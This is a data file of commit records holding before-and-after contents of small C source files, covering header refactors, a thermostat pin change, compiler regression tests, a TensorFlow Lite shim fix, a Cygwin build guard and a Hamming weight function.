{"commit":"19fce5e178d3f071c86da34008108f8f4bb2c994","old_file":"src\/parse\/type.h","new_file":"src\/parse\/type.h","old_contents":"#ifndef __parse_type_h__\n#define __parse_type_h__\n\ntypedef enum\n{\n\tPARSE_TYPE_NONE,\n\tPARSE_TYPE_LOGICAL,\n\tPARSE_TYPE_CHARACTER,\n\tPARSE_TYPE_INTEGER,\n\tPARSE_TYPE_REAL,\n\tPARSE_TYPE_COMPLEX,\n\tPARSE_TYPE_BYTE,\n} parse_type_e;\n\ntypedef struct\n{\n\tparse_type_e type;\n\tunsigned     kind;\n\tunsigned     count;\n} parse_type_t;\n\n\nstatic const parse_type_t PARSE_TYPE_INTEGER_DEFAULT =\n{\n\t.type  = PARSE_TYPE_INTEGER,\n\t.kind  = 0,\n\t.count = 0,\n};\n\nstatic const parse_type_t PARSE_TYPE_REAL_DEFAULT =\n{\n\t.type  = PARSE_TYPE_REAL,\n\t.kind  = 0,\n\t.count = 0,\n};\n\n\nunsigned parse_type(\n\tconst sparse_t* src, const char* ptr,\n\tparse_type_t* type);\n\n#endif\n","new_contents":"#ifndef __parse_type_h__\n#define __parse_type_h__\n\ntypedef enum\n{\n\tPARSE_TYPE_NONE,\n\tPARSE_TYPE_LOGICAL,\n\tPARSE_TYPE_CHARACTER,\n\tPARSE_TYPE_INTEGER,\n\tPARSE_TYPE_REAL,\n\tPARSE_TYPE_COMPLEX,\n\tPARSE_TYPE_BYTE,\n} parse_type_e;\n\ntypedef struct\n{\n\tparse_type_e type;\n\tunsigned     kind;\n\tunsigned     count;\n} parse_type_t;\n\n\n#define PARSE_TYPE_INTEGER_DEFAULT (parse_type_t)\\\n{\\\n\t.type  = PARSE_TYPE_INTEGER,\\\n\t.kind  = 0,\\\n\t.count = 0,\\\n}\n\n#define PARSE_TYPE_REAL_DEFAULT (parse_type_t)\\\n{\\\n\t.type  = PARSE_TYPE_REAL,\\\n\t.kind  = 0,\\\n\t.count = 0,\\\n}\n\n\nunsigned parse_type(\n\tconst sparse_t* src, const char* ptr,\n\tparse_type_t* type);\n\n#endif\n","subject":"Fix issue with static consts","message":"Fix issue with static consts\n","lang":"C","license":"apache-2.0","repos":"CodethinkLabs\/ofc,CodethinkLabs\/ofc,CodethinkLabs\/ofc,CodethinkLabs\/ofc"}
{"commit":"e855173835d8911edd09dcdfc0529ebacdc9fe55","old_file":"src\/thermostat.h","new_file":"src\/thermostat.h","old_contents":"#pragma once\n\n#include <core.h>\n\n#define DHT22_PIN 6\n#define DHT22_SAMPLE_RATE 3000\n\n#define TEMPORATURE_TARGET (204)\n\n#define HEATER_PIN 10\n#define HEATER_ACTION_DELAY (15*60) \/\/ minimal seconds to open\/close heater, prevent switch heater too frequently.\n\n\/\/ pin connect to 315\/433 transmitter\n#define TRANSMIT_PIN 8\n\n\/\/ Log temperature and humidity every 5mins\n#define TEMPE_HUMI_LOG_INTERVAL ((uint32_t)5 * 60 * 1000)\n\n#define DISPLAY_PIN1 5\n#define DISPLAY_PIN2 4\n#define DISPLAY_PIN3 3\n#define DISPLAY_PIN4 2\n#define DISPLAY_PIN5 11\n#define DISPLAY_PIN6 12\n\nextern core::idType idTempe, idHumi;\n\n\/\/ Set digital value idHeaterReq to turn on\/off, heater module\n\/\/ has a throttle inside to prevent turn on\/off too frequently,\n\/\/ idHeaterAct digtial value is the heater actual state.\nextern core::idType idHeaterReq, idHeaterAct;\n\n#define KEY_MODE_PIN 7\n#define KEY_UP_PIN 9\n#define KEY_DOWN_PIN 10\n#define KEY_SETUP_PIN 13\n\nextern core::idType idKeyMode, idKeyUp, idKeyDown, idKeySetup;\n","new_contents":"#pragma once\n\n#include <core.h>\n\n#define DHT22_PIN 6\n#define DHT22_SAMPLE_RATE 3000\n\n#define TEMPORATURE_TARGET (204)\n\n#define HEATER_PIN 10\n#define HEATER_ACTION_DELAY (15*60) \/\/ minimal seconds to open\/close heater, prevent switch heater too frequently.\n\n\/\/ pin connect to 315\/433 transmitter\n#define TRANSMIT_PIN 8\n\n\/\/ Log temperature and humidity every 5mins\n#define TEMPE_HUMI_LOG_INTERVAL ((uint32_t)5 * 60 * 1000)\n\n#define DISPLAY_PIN1 5\n#define DISPLAY_PIN2 4\n#define DISPLAY_PIN3 3\n#define DISPLAY_PIN4 2\n#define DISPLAY_PIN5 11\n#define DISPLAY_PIN6 12\n\nextern core::idType idTempe, idHumi;\n\n\/\/ Set digital value idHeaterReq to turn on\/off, heater module\n\/\/ has a throttle inside to prevent turn on\/off too frequently,\n\/\/ idHeaterAct digtial value is the heater actual state.\nextern core::idType idHeaterReq, idHeaterAct;\n\n#define KEY_MODE_PIN 7\n#define KEY_UP_PIN 9\n#define KEY_DOWN_PIN A0\n#define KEY_SETUP_PIN 13\n\nextern core::idType idKeyMode, idKeyUp, idKeyDown, idKeySetup;\n","subject":"Use A0 instead 10 as button down input PIN","message":"Use A0 instead 10 as button down input PIN\n\nAll digital pins are used, 10 used by heater relay, so borrow an analog\ninput pin.\n","lang":"C","license":"apache-2.0","repos":"redforks\/thermostat,redforks\/thermostat"}
{"commit":"a4f0a6e8749227e6eabb8ae0f4af155a95721f5a","old_file":"tests\/regression\/61-evalAssert\/01-union_evalAssert.c","new_file":"tests\/regression\/61-evalAssert\/01-union_evalAssert.c","old_contents":"","new_contents":"\/\/ PARAM: --set trans.activated[+] \"assert\"\n\n\/\/ Running the assert transformation on this test yields in code that is not compilable by gcc\nstruct s {\n    int a;\n    int b;\n};\n\nunion u {\n    struct s str;\n    int i;\n};\n\n\nint main(){\n    union u un;\n\n    struct s* ptr;\n\n    un.str.a = 1;\n    un.str.b = 2;\n\n    ptr = &un.str;\n    int r;\n    int x;\n    if(r){\n        x = 2;\n    } else {\n        x = 3;\n    }\n\n    return 0;\n}\n","subject":"Add test case for invariant generation for unions.","message":"Add test case for invariant generation for unions.\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"b8f325d491a751bb8478b36f85493c728b5d098e","old_file":"src\/condor_includes\/condor_constants.h","new_file":"src\/condor_includes\/condor_constants.h","old_contents":"#ifndef CONSTANTS_H\n#define CONSTANTS_H\n\n\n#if !defined(__STDC__) && !defined(__cplusplus)\n#define const\n#endif\n\n\/*\n\tSet up a boolean variable type.  Since this definition could conflict\n\twith other reasonable definition of BOOLEAN, i.e. using an enumeration,\n\tit is conditional.\n*\/\n#ifndef BOOLEAN_TYPE_DEFINED\ntypedef int BOOLEAN;\n#endif\n\n#if defined(TRUE)\n#\tundef TRUE\n#\tundef FALSE\n#endif\n\nstatic const int\tTRUE = 1;\nstatic const int\tFALSE = 0;\n\n\/*\n\tUseful constants for turning seconds into larger units of time.  Since\n\tthese constants may have already been defined elsewhere, they are\n\tconditional.\n*\/\n#ifndef TIME_CONSTANTS_DEFINED\nstatic const int\tMINUTE = 60;\nstatic const int\tHOUR = 60 * 60;\nstatic const int\tDAY = 24 * 60 * 60;\n#endif\n\n\/*\n  This is for use with strcmp() and related functions which will return\n  0 upon a match.\n*\/\n#ifndef MATCH\nstatic const int\tMATCH = 0;\n#endif\n#endif\n","new_contents":"#ifndef CONSTANTS_H\n#define CONSTANTS_H\n\n\n#if !defined(__STDC__) && !defined(__cplusplus)\n#define const\n#endif\n\n\/*\n\tSet up a boolean variable type.  Since this definition could conflict\n\twith other reasonable definition of BOOLEAN, i.e. using an enumeration,\n\tit is conditional.\n*\/\n#ifndef BOOLEAN_TYPE_DEFINED\ntypedef int BOOLEAN;\ntypedef int BOOL;\n#endif\n\n#if defined(TRUE)\n#\tundef TRUE\n#\tundef FALSE\n#endif\n\nstatic const int\tTRUE = 1;\nstatic const int\tFALSE = 0;\n\n\/*\n\tUseful constants for turning seconds into larger units of time.  Since\n\tthese constants may have already been defined elsewhere, they are\n\tconditional.\n*\/\n#ifndef TIME_CONSTANTS_DEFINED\nstatic const int\tMINUTE = 60;\nstatic const int\tHOUR = 60 * 60;\nstatic const int\tDAY = 24 * 60 * 60;\n#endif\n\n\/*\n  This is for use with strcmp() and related functions which will return\n  0 upon a match.\n*\/\n#ifndef MATCH\nstatic const int\tMATCH = 0;\n#endif\n#endif\n","subject":"Add BOOL typedef becuase BOOLEAN is too verbose.","message":"Add BOOL typedef becuase BOOLEAN is too verbose.\n","lang":"C","license":"apache-2.0","repos":"djw8605\/condor,htcondor\/htcondor,neurodebian\/htcondor,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,htcondor\/htcondor,neurodebian\/htcondor,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,djw8605\/htcondor,clalancette\/condor-dcloud,htcondor\/htcondor,djw8605\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,neurodebian\/htcondor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,djw8605\/condor,djw8605\/htcondor,zhangzhehust\/htcondor,djw8605\/htcondor,clalancette\/condor-dcloud,neurodebian\/htcondor,djw8605\/htcondor,htcondor\/htcondor,djw8605\/htcondor,neurodebian\/htcondor,mambelli\/osg-bosco-marco,neurodebian\/htcondor,djw8605\/condor,djw8605\/htcondor,zhangzhehust\/htcondor,djw8605\/condor,djw8605\/htcondor,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,djw8605\/htcondor,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,djw8605\/condor,djw8605\/condor,neurodebian\/htcondor,htcondor\/htcondor,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,djw8605\/condor,neurodebian\/htcondor,clalancette\/condor-dcloud,djw8605\/condor,htcondor\/htcondor,htcondor\/htcondor,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,htcondor\/htcondor"}
{"commit":"4313cb62c47240baa244e521db53531686286afd","old_file":"tensorflow\/lite\/core\/shims\/cc\/kernels\/register.h","new_file":"tensorflow\/lite\/core\/shims\/cc\/kernels\/register.h","old_contents":"\/* Copyright 2020 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n#ifndef TENSORFLOW_LITE_CORE_SHIMS_CC_KERNELS_REGISTER_H_\n#define TENSORFLOW_LITE_CORE_SHIMS_CC_KERNELS_REGISTER_H_\n\n#include \"tensorflow\/lite\/kernels\/register.h\"\n\n#endif  \/\/ TENSORFLOW_LITE_CORE_SHIMS_CC_KERNELS_REGISTER_H_\n","new_contents":"\/* Copyright 2020 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n#ifndef TENSORFLOW_LITE_CORE_SHIMS_CC_KERNELS_REGISTER_H_\n#define TENSORFLOW_LITE_CORE_SHIMS_CC_KERNELS_REGISTER_H_\n\n#include \"tensorflow\/lite\/kernels\/register.h\"\n\nnamespace tflite_shims {\nnamespace ops {\nnamespace builtin {\nusing BuiltinOpResolver = ::tflite::ops::builtin::BuiltinOpResolver;\n}  \/\/ namespace builtin\n}  \/\/ namespace ops\n}  \/\/ namespace tflite_shims\n\n#endif  \/\/ TENSORFLOW_LITE_CORE_SHIMS_CC_KERNELS_REGISTER_H_\n","subject":"Fix wrong namespace in recently-added shim header.","message":"Fix wrong namespace in recently-added shim header.\n\nPiperOrigin-RevId: 344072784\nChange-Id: I8e1de38f2bb932afd9e905551953f45046db45c9\n","lang":"C","license":"apache-2.0","repos":"petewarden\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,paolodedios\/tensorflow,freedomtan\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,yongtang\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,karllessard\/tensorflow,frreiss\/tensorflow-fred,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow,petewarden\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,yongtang\/tensorflow,frreiss\/tensorflow-fred,annarev\/tensorflow,sarvex\/tensorflow,annarev\/tensorflow,Intel-tensorflow\/tensorflow,petewarden\/tensorflow,frreiss\/tensorflow-fred,frreiss\/tensorflow-fred,cxxgtxy\/tensorflow,karllessard\/tensorflow,gautam1858\/tensorflow,paolodedios\/tensorflow,Intel-tensorflow\/tensorflow,cxxgtxy\/tensorflow,tensorflow\/tensorflow,freedomtan\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,frreiss\/tensorflow-fred,paolodedios\/tensorflow,tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,petewarden\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,freedomtan\/tensorflow,petewarden\/tensorflow,frreiss\/tensorflow-fred,sarvex\/tensorflow,tensorflow\/tensorflow,Intel-Corporation\/tensorflow,Intel-Corporation\/tensorflow,annarev\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,sarvex\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,Intel-Corporation\/tensorflow,yongtang\/tensorflow,karllessard\/tensorflow,annarev\/tensorflow,sarvex\/tensorflow,petewarden\/tensorflow,petewarden\/tensorflow,freedomtan\/tensorflow,yongtang\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,freedomtan\/tensorflow,paolodedios\/tensorflow,cxxgtxy\/tensorflow,annarev\/tensorflow,gautam1858\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow,tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,Intel-Corporation\/tensorflow,karllessard\/tensorflow,Intel-Corporation\/tensorflow,gautam1858\/tensorflow,yongtang\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,gautam1858\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow,Intel-Corporation\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_saved_model,frreiss\/tensorflow-fred,tensorflow\/tensorflow-pywrap_saved_model,frreiss\/tensorflow-fred,tensorflow\/tensorflow-pywrap_saved_model,yongtang\/tensorflow,freedomtan\/tensorflow,Intel-tensorflow\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,freedomtan\/tensorflow,Intel-tensorflow\/tensorflow,karllessard\/tensorflow,paolodedios\/tensorflow,freedomtan\/tensorflow,frreiss\/tensorflow-fred,gautam1858\/tensorflow,cxxgtxy\/tensorflow,yongtang\/tensorflow,gautam1858\/tensorflow,cxxgtxy\/tensorflow,paolodedios\/tensorflow,cxxgtxy\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-experimental_link_static_libraries_once,sarvex\/tensorflow,gautam1858\/tensorflow,freedomtan\/tensorflow,annarev\/tensorflow,annarev\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,sarvex\/tensorflow,yongtang\/tensorflow,frreiss\/tensorflow-fred,karllessard\/tensorflow,Intel-tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,yongtang\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,Intel-tensorflow\/tensorflow,frreiss\/tensorflow-fred,sarvex\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,annarev\/tensorflow,annarev\/tensorflow,annarev\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,sarvex\/tensorflow,karllessard\/tensorflow,gautam1858\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,gautam1858\/tensorflow,karllessard\/tensorflow,petewarden\/tensorflow,annarev\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow,paolodedios\/tensorflow,freedomtan\/tensorflow,tensorflow\/tensorflow,gautam1858\/tensorflow,karllessard\/tensorflow,freedomtan\/tensorflow,freedomtan\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,petewarden\/tensorflow,petewarden\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,cxxgtxy\/tensorflow,Intel-Corporation\/tensorflow,petewarden\/tensorflow,petewarden\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,cxxgtxy\/tensorflow,frreiss\/tensorflow-fred,yongtang\/tensorflow,Intel-Corporation\/tensorflow,paolodedios\/tensorflow,paolodedios\/tensorflow"}
{"commit":"7bcc2cb0b099c2ae9a39160886e5974d58c38329","old_file":"test\/bugs\/cpp\/strip_comment_ice.c","new_file":"test\/bugs\/cpp\/strip_comment_ice.c","old_contents":"","new_contents":"#ifdef GNU_VARIADIC\n#  define FOO(args...)    do { foo(args); } while (0)\n#else\n#  define FOO(...)    do { foo(__VA_ARGS__); } while (0)\n#endif\n\n#define BAR(x)  FOO(\"x\"); FOO(\")\");\n\nvoid\nfoo(char *a)\n{\n\tBAR();\n}\n","subject":"Add cpp comment stripping bug","message":"Add cpp comment stripping bug\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"235202c66e7fd405c0b43fdf5a4de93f8e7d0950","old_file":"elsa\/in\/k0059.c","new_file":"elsa\/in\/k0059.c","old_contents":"","new_contents":"struct S {\n    int a;\n};\n\nstruct S foo () {\n    struct S s;\n    int i;\n    s.a = i;\n    return s;\n}\n\nint main()\n{\n    int u;\n    u = foo().a;\n}\n","subject":"Test case for returning structs by value (missing from previous checkin)","message":"Test case for returning structs by value (missing from previous checkin)\n\n","lang":"C","license":"bsd-3-clause","repos":"angavrilov\/olmar,angavrilov\/olmar,angavrilov\/olmar,angavrilov\/olmar"}
{"commit":"04981f7369b37585c856a32feb71eb264bf0db84","old_file":"tools\/spiffsimg\/spiffs_typedefs.h","new_file":"tools\/spiffsimg\/spiffs_typedefs.h","old_contents":"#include <stdint.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\ntypedef  int32_t s32_t;\ntypedef uint32_t u32_t;\ntypedef  int16_t s16_t;\ntypedef uint16_t u16_t;\ntypedef   int8_t s8_t;\ntypedef  uint8_t u8_t;\ntypedef long long ptrdiff_t;\n\n#define offsetof(type, member)  __builtin_offsetof (type, member)\n","new_contents":"#include <stdint.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\ntypedef  int32_t s32_t;\ntypedef uint32_t u32_t;\ntypedef  int16_t s16_t;\ntypedef uint16_t u16_t;\ntypedef   int8_t s8_t;\ntypedef  uint8_t u8_t;\n\n#ifndef __CYGWIN__\ntypedef long long ptrdiff_t;\n#define offsetof(type, member)  __builtin_offsetof (type, member)\n#endif\n","subject":"Add cygwin support for compiling spiffsimg","message":"Add cygwin support for compiling spiffsimg\n","lang":"C","license":"mit","repos":"FelixPe\/nodemcu-firmware,HEYAHONG\/nodemcu-firmware,nwf\/nodemcu-firmware,FelixPe\/nodemcu-firmware,devsaurus\/nodemcu-firmware,eku\/nodemcu-firmware,marcelstoer\/nodemcu-firmware,vsky279\/nodemcu-firmware,TerryE\/nodemcu-firmware,TerryE\/nodemcu-firmware,devsaurus\/nodemcu-firmware,nwf\/nodemcu-firmware,nodemcu\/nodemcu-firmware,TerryE\/nodemcu-firmware,FelixPe\/nodemcu-firmware,vsky279\/nodemcu-firmware,FelixPe\/nodemcu-firmware,eku\/nodemcu-firmware,eku\/nodemcu-firmware,devsaurus\/nodemcu-firmware,nodemcu\/nodemcu-firmware,marcelstoer\/nodemcu-firmware,HEYAHONG\/nodemcu-firmware,marcelstoer\/nodemcu-firmware,vsky279\/nodemcu-firmware,marcelstoer\/nodemcu-firmware,HEYAHONG\/nodemcu-firmware,marcelstoer\/nodemcu-firmware,nwf\/nodemcu-firmware,TerryE\/nodemcu-firmware,FelixPe\/nodemcu-firmware,nodemcu\/nodemcu-firmware,nodemcu\/nodemcu-firmware,TerryE\/nodemcu-firmware,eku\/nodemcu-firmware,HEYAHONG\/nodemcu-firmware,devsaurus\/nodemcu-firmware,nwf\/nodemcu-firmware,HEYAHONG\/nodemcu-firmware,devsaurus\/nodemcu-firmware,nwf\/nodemcu-firmware,vsky279\/nodemcu-firmware,vsky279\/nodemcu-firmware,nodemcu\/nodemcu-firmware"}
{"commit":"e8b7e4110f4f652baf8badb3b63a8ea2fa644fa4","old_file":"Hamming_Weigth\/C\/Hamming_Weigth.c","new_file":"Hamming_Weigth\/C\/Hamming_Weigth.c","old_contents":"","new_contents":"#include <stdint.h>\n\nint32_t NumberOfSetBits(int32_t i)\n{\n    i = i - ((i >> 1) & 0x55555555);\n    i = (i & 0x33333333) + ((i >> 2) & 0x33333333);\n    return (((i + (i >> 4)) & 0x0F0F0F0F) * 0x01010101) >> 24;\n}","subject":"Add Hamming weigth in C","message":"Add Hamming weigth in C\n","lang":"C","license":"mit","repos":"jb1717\/Algorithm-Implementations,aayushKumarJarvis\/Algorithm-Implementations,AntonioModer\/Algorithm-Implementations,Yonaba\/Algorithm-Implementations,Endika\/Algorithm-Implementations,imrandomizer\/Algorithm-Implementations,pravsingh\/Algorithm-Implementations,AntonioModer\/Algorithm-Implementations,imrandomizer\/Algorithm-Implementations,imrandomizer\/Algorithm-Implementations,Sweet-kid\/Algorithm-Implementations,Etiene\/Algorithm-Implementations,sugiartocokrowibowo\/Algorithm-Implementations,imrandomizer\/Algorithm-Implementations,n1ghtmare\/Algorithm-Implementations,varunparkhe\/Algorithm-Implementations,pravsingh\/Algorithm-Implementations,vikas17a\/Algorithm-Implementations,joshimoo\/Algorithm-Implementations,Etiene\/Algorithm-Implementations,imrandomizer\/Algorithm-Implementations,Endika\/Algorithm-Implementations,praveenjha527\/Algorithm-Implementations,kennyledet\/Algorithm-Implementations,Yonaba\/Algorithm-Implementations,Sweet-kid\/Algorithm-Implementations,imrandomizer\/Algorithm-Implementations,n1ghtmare\/Algorithm-Implementations,varunparkhe\/Algorithm-Implementations,Yonaba\/Algorithm-Implementations,varunparkhe\/Algorithm-Implementations,joshimoo\/Algorithm-Implementations,n1ghtmare\/Algorithm-Implementations,jiang42\/Algorithm-Implementations,sugiartocokrowibowo\/Algorithm-Implementations,warreee\/Algorithm-Implementations,warreee\/Algorithm-Implementations,kennyledet\/Algorithm-Implementations,kidaa\/Algorithm-Implementations,jiang42\/Algorithm-Implementations,praveenjha527\/Algorithm-Implementations,aayushKumarJarvis\/Algorithm-Implementations,rohanp\/Algorithm-Implementations,Etiene\/Algorithm-Implementations,joshimoo\/Algorithm-Implementations,kidaa\/Algorithm-Implementations,movb\/Algorithm-Implementations,sugiartocokrowibowo\/Algorithm-Implementations,movb\/Algorithm-Implementations,movb\/Algorithm-Implementations,sugiartocokrowibowo\/Algorithm-Implementations,AntonioModer\/Algorithm-Implementations,varunparkhe\/Algorithm-Implementations,varunparkhe\/Algorithm-Implementations,Yonaba\/Algorithm-Implementations,n1ghtmare\/Algorithm-Implementations,Yonaba\/Algorithm-Implementations,jb1717\/Algorithm-Implementations,Sweet-kid\/Algorithm-Implementations,vikas17a\/Algorithm-Implementations,imrandomizer\/Algorithm-Implementations,Sweet-kid\/Algorithm-Implementations,praveenjha527\/Algorithm-Implementations,kennyledet\/Algorithm-Implementations,pravsingh\/Algorithm-Implementations,Sweet-kid\/Algorithm-Implementations,Yonaba\/Algorithm-Implementations,vikas17a\/Algorithm-Implementations,aayushKumarJarvis\/Algorithm-Implementations,isalnikov\/Algorithm-Implementations,sugiartocokrowibowo\/Algorithm-Implementations,imanmafi\/Algorithm-Implementations,varunparkhe\/Algorithm-Implementations,jb1717\/Algorithm-Implementations,kidaa\/Algorithm-Implementations,kennyledet\/Algorithm-Implementations,movb\/Algorithm-Implementations,isalnikov\/Algorithm-Implementations,vikas17a\/Algorithm-Implementations,Endika\/Algorithm-Implementations,AntonioModer\/Algorithm-Implementations,rohanp\/Algorithm-Implementations,girishramnani\/Algorithm-Implementations,pravsingh\/Algorithm-Implementations,praveenjha527\/Algorithm-Implementations,joshimoo\/Algorithm-Implementations,imanmafi\/Algorithm-Implementations,movb\/Algorithm-Implementations,rohanp\/Algorithm-Implementations,jb1717\/Algorithm-Implementations,joshimoo\/Algorithm-Implementations,jb1717\/Algorithm-Implementations,sugiartocokrowibowo\/Algorithm-Implementations,warreee\/Algorithm-Implementations,Endika\/Algorithm-Implementations,rohanp\/Algorithm-Implementations,aayushKumarJarvis\/Algorithm-Implementations,jb1717\/Algorithm-Implementations,aayushKumarJarvis\/Algorithm-Implementations,AntonioModer\/Algorithm-Implementations,imanmafi\/Algorithm-Implementations,AntonioModer\/Algorithm-Implementations,joshimoo\/Algorithm-Implementations,Yonaba\/Algorithm-Implementations,warreee\/Algorithm-Implementations,Etiene\/Algorithm-Implementations,Etiene\/Algorithm-Implementations,pravsingh\/Algorithm-Implementations,joshimoo\/Algorithm-Implementations,imrandomizer\/Algorithm-Implementations,jb1717\/Algorithm-Implementations,Endika\/Algorithm-Implementations,kidaa\/Algorithm-Implementations,n1ghtmare\/Algorithm-Implementations,mishin\/Algorithm-Implementations,varunparkhe\/Algorithm-Implementations,warreee\/Algorithm-Implementations,warreee\/Algorithm-Implementations,kidaa\/Algorithm-Implementations,imrandomizer\/Algorithm-Implementations,isalnikov\/Algorithm-Implementations,AntonioModer\/Algorithm-Implementations,kidaa\/Algorithm-Implementations,isalnikov\/Algorithm-Implementations,vikas17a\/Algorithm-Implementations,jb1717\/Algorithm-Implementations,girishramnani\/Algorithm-Implementations,jiang42\/Algorithm-Implementations,kennyledet\/Algorithm-Implementations,jiang42\/Algorithm-Implementations,jb1717\/Algorithm-Implementations,isalnikov\/Algorithm-Implementations,aayushKumarJarvis\/Algorithm-Implementations,girishramnani\/Algorithm-Implementations,joshimoo\/Algorithm-Implementations,jiang42\/Algorithm-Implementations,sugiartocokrowibowo\/Algorithm-Implementations,sugiartocokrowibowo\/Algorithm-Implementations,Sweet-kid\/Algorithm-Implementations,kennyledet\/Algorithm-Implementations,Yonaba\/Algorithm-Implementations,mishin\/Algorithm-Implementations,imanmafi\/Algorithm-Implementations,jiang42\/Algorithm-Implementations,jiang42\/Algorithm-Implementations,mishin\/Algorithm-Implementations,AntonioModer\/Algorithm-Implementations,kidaa\/Algorithm-Implementations,Sweet-kid\/Algorithm-Implementations,girishramnani\/Algorithm-Implementations,vikas17a\/Algorithm-Implementations,isalnikov\/Algorithm-Implementations,Endika\/Algorithm-Implementations,warreee\/Algorithm-Implementations,kidaa\/Algorithm-Implementations,AntonioModer\/Algorithm-Implementations,n1ghtmare\/Algorithm-Implementations,mishin\/Algorithm-Implementations,Etiene\/Algorithm-Implementations,Etiene\/Algorithm-Implementations,sugiartocokrowibowo\/Algorithm-Implementations,joshimoo\/Algorithm-Implementations,isalnikov\/Algorithm-Implementations,pravsingh\/Algorithm-Implementations,sugiartocokrowibowo\/Algorithm-Implementations,Sweet-kid\/Algorithm-Implementations,mishin\/Algorithm-Implementations,jb1717\/Algorithm-Implementations,kidaa\/Algorithm-Implementations,pravsingh\/Algorithm-Implementations,Yonaba\/Algorithm-Implementations,AntonioModer\/Algorithm-Implementations,sugiartocokrowibowo\/Algorithm-Implementations,vikas17a\/Algorithm-Implementations,aayushKumarJarvis\/Algorithm-Implementations,Endika\/Algorithm-Implementations,rohanp\/Algorithm-Implementations,mishin\/Algorithm-Implementations,aayushKumarJarvis\/Algorithm-Implementations,kidaa\/Algorithm-Implementations,movb\/Algorithm-Implementations,mishin\/Algorithm-Implementations,kidaa\/Algorithm-Implementations,varunparkhe\/Algorithm-Implementations,Endika\/Algorithm-Implementations,aayushKumarJarvis\/Algorithm-Implementations,imanmafi\/Algorithm-Implementations,rohanp\/Algorithm-Implementations,imanmafi\/Algorithm-Implementations,vikas17a\/Algorithm-Implementations,Etiene\/Algorithm-Implementations,rohanp\/Algorithm-Implementations,isalnikov\/Algorithm-Implementations,jiang42\/Algorithm-Implementations,Etiene\/Algorithm-Implementations,aayushKumarJarvis\/Algorithm-Implementations,aayushKumarJarvis\/Algorithm-Implementations,imanmafi\/Algorithm-Implementations,vikas17a\/Algorithm-Implementations,mishin\/Algorithm-Implementations,vikas17a\/Algorithm-Implementations,praveenjha527\/Algorithm-Implementations,praveenjha527\/Algorithm-Implementations,girishramnani\/Algorithm-Implementations,kidaa\/Algorithm-Implementations,kennyledet\/Algorithm-Implementations,movb\/Algorithm-Implementations,imanm